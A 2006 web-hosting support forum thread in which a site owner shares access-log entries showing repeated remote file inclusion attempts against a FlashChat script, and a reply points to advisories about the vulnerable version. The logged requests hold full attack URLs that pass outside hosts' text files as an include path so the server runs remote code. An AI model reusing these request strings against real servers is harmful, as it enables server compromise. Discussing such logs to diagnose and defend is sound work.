Apache Friends Support Forum

Every time i check my acess log I see where a website is trying to get accsess to a php file in my flash chat dir.
here I will show you ..

Code: Select all

62.140.17.116 - - [19/Dec/2006:08:48:03 -0500] "GET
/forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.yagmursesi.com/lol1.txt? HTTP/1.1" 404 1048
62.140.17.116 - - [19/Dec/2006:08:48:03 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.tambenlik.net/lol1.txt? HTTP/1.1" 404 1048
62.140.17.116 - - [19/Dec/2006:08:48:06 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.yagmursesi.com/lol1.txt? HTTP/1.1" 404 1048
62.76.99.131 - - [19/Dec/2006:08:48:06 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.yagmursesi.com/lol1.txt? HTTP/1.1" 404 1048
216.104.149.111 - - [19/Dec/2006:08:48:29 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.yagmursesi.com/lol1.txt? HTTP/1.1" 404 1048
216.104.149.111 - - [19/Dec/2006:08:49:33 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.yagmursesi.com/lol1.txt? HTTP/1.1" 404 1048
85.234.144.65 - - [19/Dec/2006:08:49:34 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.yagmursesi.com/lol1.txt? HTTP/1.1" 404 1048
216.104.149.111 - - [19/Dec/2006:08:49:37 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.tambenlik.net/lol1.txt? HTTP/1.1" 404 1048
85.214.43.248 - - [19/Dec/2006:08:49:44 -0500] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.tambenlik.net/lol1.txt? HTTP/1.1"


I had to remove my flash chat software and take it offline becuse it was geting overloaded with requests and lowing my server down. thats why you see the error 404 now but befor they wer geting 202.

Any one know what this is and why? and what I can do to fix it.
I tryed baning the Ip address withen 30 min they have a new ip.

It seems you have a possible vulnerable/insecure version of FlashChat.

http://www.frsirt.com/english/advisories/2006/3449

http://secunia.com/advisories/21756/

http://www.google.com/search?&q=securit ... ng4CMS.php